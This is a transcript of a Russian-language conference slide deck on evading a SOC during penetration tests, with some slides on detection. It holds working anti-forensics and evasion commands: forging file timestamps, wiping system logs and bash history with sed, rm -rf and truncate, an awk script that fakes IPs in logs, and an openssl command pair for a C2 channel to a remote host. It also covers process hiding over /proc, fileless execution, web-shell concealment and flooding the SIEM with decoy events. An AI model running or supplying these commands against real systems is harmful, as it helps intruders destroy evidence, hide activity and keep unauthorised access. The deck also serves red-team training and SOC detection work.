Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Носок на сок

Bo0oM
April 29, 2025

Носок на сок

Большинство крупных организаций, таких как банки или компании в сфере технологий, создают SOC для 24/7 мониторинга и защиты от киберугроз, включая управление инцидентами и устранение уязвимостей. Однако, мы сконцентрируем внимание на том, как адаптировать свои методы в пентесте, чтобы обойти SOC. И в обратную сторону - на что обратить внимание, чтобы обнаружить действия злоумышленника в сети.

Bo0oM

April 29, 2025
Tweet

More Decks by Bo0oM

Other Decks in Programming

Transcript

  1. 2025 Обход логики работы WAF/IDS/DLP Системы, которые ставятся в разрезе

    имеют валидирующие и не валидирующие парсеры. При некорректном парсинге запроса они либо блокируют запрос (нет), либо отправляют его дальше, не проанализировав. Конечный получатель может корректно воспринять запрос с полезной нагрузкой. https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
  2. 2025 Скрытие веб-шелла http_response_code(404); В частности, при попытке скачать файлы

    сервер отвечает заголовком: Content-Disposition: attachment; filename=”example.file" Однако, поскольку ответ сервера имеет статус HTTP 404, браузер интерпретирует это как ошибку загрузки, что приводит к сообщению: Failed to load resource: the server responded with a status of 404 () Для решения этой проблемы можно использовать JavaScript с функцией fetch(), которая позволяет выполнить запрос к серверу и обработать ответ асинхронно и отдать blob, что приведет к обычной загрузке файла.
  3. 2025 Закрепление в вебе. Метки времени touch -r old_file.php index.php

    touch -t 202501011337 index.php Можно поставить любую дату изменения файла, даже после его фактического изменения https://man7.org/linux/man-pages/man1/touch.1.html
  4. 2025 SOC • Access — время последнего доступа к файлу.

    • Modify — время последнего изменения содержимого файла. • Change — время последнего изменения метаданных файла (например, прав доступа или имени файла). • Birth — время создания файла (если файловая система это поддерживает).
  5. 2025 Закрепление в вебе. Метки времени extstomp -v -macb -T

    '2025-04-29 31:37:00' file.txt extstomp (debugfs) позволяет установить метки времени на уровне файловой системы https://github.com/halpomeranz/extstomp
  6. 2025 Закрепление в вебе. Метки времени set-ntp 0 set-time '2025-04-29

    31:37:00' Можно изменить системную дату, создать новый файл и откатить изменения времени. https://tokmakov.msk.ru/blog/item/763
  7. 2025 SOC Естественно, изменение времени в системе порождает большое количество

    аномалий, сам факт изменения времени, часового пояса должен отслеживаться.
  8. 2025 Запуск команд. Другие пути • Отрубать bash_history (писать пробел+команда

    и unset HISTFILE). Не всегда работает, потому что зависит от настройки HISTCONTROL, триггерит SOC • Можно убивать себя (kill -9 $$) Роскомнадзор, это не то, что ты подумал!
  9. 2025 Запуск команд. Подтираем за собой sed -i '$ d'

    secure; sed -i '$ d' secure; sed -i '$ d' wtmp; sed -i '$ d' wtmp; sed -i '$ d' lastlog; sed -i '$ d' lastlog; cd /var/log/journal; rm -rf *; tail -n 100 "/var/log/auth.log" | wc -c | xargs -I {} truncate "/var/log/auth.log" -s -{}; tail -n 100 "/var/log/audit/audit.log" | wc -c | xargs -I {} truncate "/var/log/audit/audit.log" -s -{}; tail -n 100 "/root/.bash_history" | wc -c | xargs -I {} truncate "/root/.bash_history" -s -{}
  10. 2025 SOC • Access management – 2FA/PAM (например teleport) с

    session recording • Заменяем шелл (sh/bash) на шелл с логированием действий и отправкой данных (syslog) • Ну и вы же не тупые, чтоб мониторить .bash_history, да? • Тру чуваки мониторят системные вызовы типа exec, execve через auditd, eBPF А хакер в свою очередь читает конфигурации auditd
  11. 2025 io_uring https://github.com/armosec/curing Это механизм асинхронного ввода-вывода, который был представлен

    в Linux 5.1. Тула использует io_uring и не использует никаких других системных вызовов, связанных с атакой, что делает его невидимым для инструментов безопасности, которые отслеживают системные вызовы.
  12. 2025 Директория /proc • cmdline - команда и аргументы •

    environ - переменные окружения • status - статус (использование памяти, прерывания и тп) • cwd - смволическая ссылкa на текущую рабочую директорию процесса. • exe - символическая ссылкa на исполняемый файл процесса • /proc/31337/fd - каталог содержащий символические ссылки на файловые дескрипторы, открытые процессом.
  13. 2025 Директория /proc. Скрытие процесса https://dfir.ch/posts/slash-proc/ Можно смонтировать пустую директорию

    поверх пути к /proc/[pid]. Так как команды типа ps, top и прочие опираются на содержимое /proc/, исполняемый файл не будет доступен (исчезнет) в мониторинге процессов
  14. LDD

  15. 2025 Откуда грузятся библиотеки RPATH: (Run-Time Library Search Path) -

    задается при компиляции LD_LIBRARY_PATH: переменная позволяет временно переопределить места поиска библиотек для выбранного процесса. RUNPATH: RUNPATH имеет более высокий приоритет, чем значения из LD_LIBRARY_PATH, но более низкий, чем RPATH.
  16. 2025 Откуда грузятся библиотеки /etc/ld.so.conf: Конфигурация, содержащая пути к библиотекам,

    которые должны быть учтены при загрузке динамических библиотек. И отдельные файлы в каталоге /etc/ld.so.conf.d/ Системные библиотеки: /lib*, /usr/lib, /usr/local/lib, etc LD_PRELOAD: Переменная окружения позволяет указать библиотеку или библиотеки, которые будут загружены перед всеми другими библиотеками. Это может использоваться для переопределения функций в других библиотеках.
  17. 2025 Директория /dev/shm • Директория с разделяемой памятью, равен половине

    объема оперативной памяти. • Доступен всем пользователям и процессам. • Писать туда в десяток раз быстрее (ибо это оперативка). Из минусов – иногда он noexec (ну как и tmp)
  18. 2025 memfd_create, shm_open, fexecve https://github.com/maxvarm/memfd-process-hide/ Использование memfd_create или shm_open для

    создания файла в /dev/shm Использование fexecve для запуска файла в памяти
  19. 2025 Метрики Ты пробил периметр, нашел продуктовую СУБД, цель близка,

    нужно всего лишь… • Дампишь базу - летят вверх метрики по I/O, тебя обнаруживают и выгоняют • Зипуешь - летят метрики по CPU • Передаешь - создаешь аномальный всплеск трафика, большой файл не передашь из-за ограниченного connection timeout
  20. C&C

  21. 2025 OpenSSL https://gtfobins.github.io/gtfobins/openssl/ openssl req -x509 -newkey rsa:4096 -keyout key.pem

    -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 443 openssl s_client -quiet -connect $RHOST:$RPORT
  22. 2025 Путь воена 1. Арендуешь виртуалку в Yandex Cloud 2.

    Выпускаешь (даже) самоподписанный серт yandex.ru 3. Суешь в /etc/hosts browser.yandex.ru (ну или тип того) 4. И бинарь типа яндекс, ну и радуешься жизни
  23. 2025 Истины 1. Для разведки low and slow - атаки

    (ну типа брут раз в 3 минуты) 2. Пользовательские тачки в приоритете, так как за ними меньше наблюдают и у них больше возможностей и софта 3. Лучше всего в рабочее время 4. Всякие тупые LPE и обходки (типа запуска exe в %TEMP%)))
  24. 2025 Гадости • Если необходимо сгенерить много событий и обнаружение

    неминуемо - можно отвлечь. Исчем куда летят логи (обычно rsyslog на 514). Или стоит vector с коннекторами в условную kafka. • Делаем события которые есть в корреляции СЗИ • Генерируем стотыщ миллионов событий от разных (всех) систем, пускай разбираются. А пока можно что-то быстро брутануть или насрать событий через bloodhund, cme
  25. 2025 Гадости Прикольно удалять логи, но прикольнее их подменять. awk

    '{ for(i=1;i<=NF;i++) { if ($i ~ /([0-9]{1,3}\.){3}[0-9]{1,3}/) { split($i, parts, "."); for (j=1; j<=4; j++) { parts[j] = int(rand() * 256); } $i = parts[1] "." parts[2] "." parts[3] "." parts[4]; } } print }'
  26. 2025 Каналы @s0ld13r_ch @RedTeambro Чуваки @mrvos – Влад @SmartGlue –

    еще один Влад @llcrlf - Каретка @lolk3k - Black Rabbit Спасибо этим дядям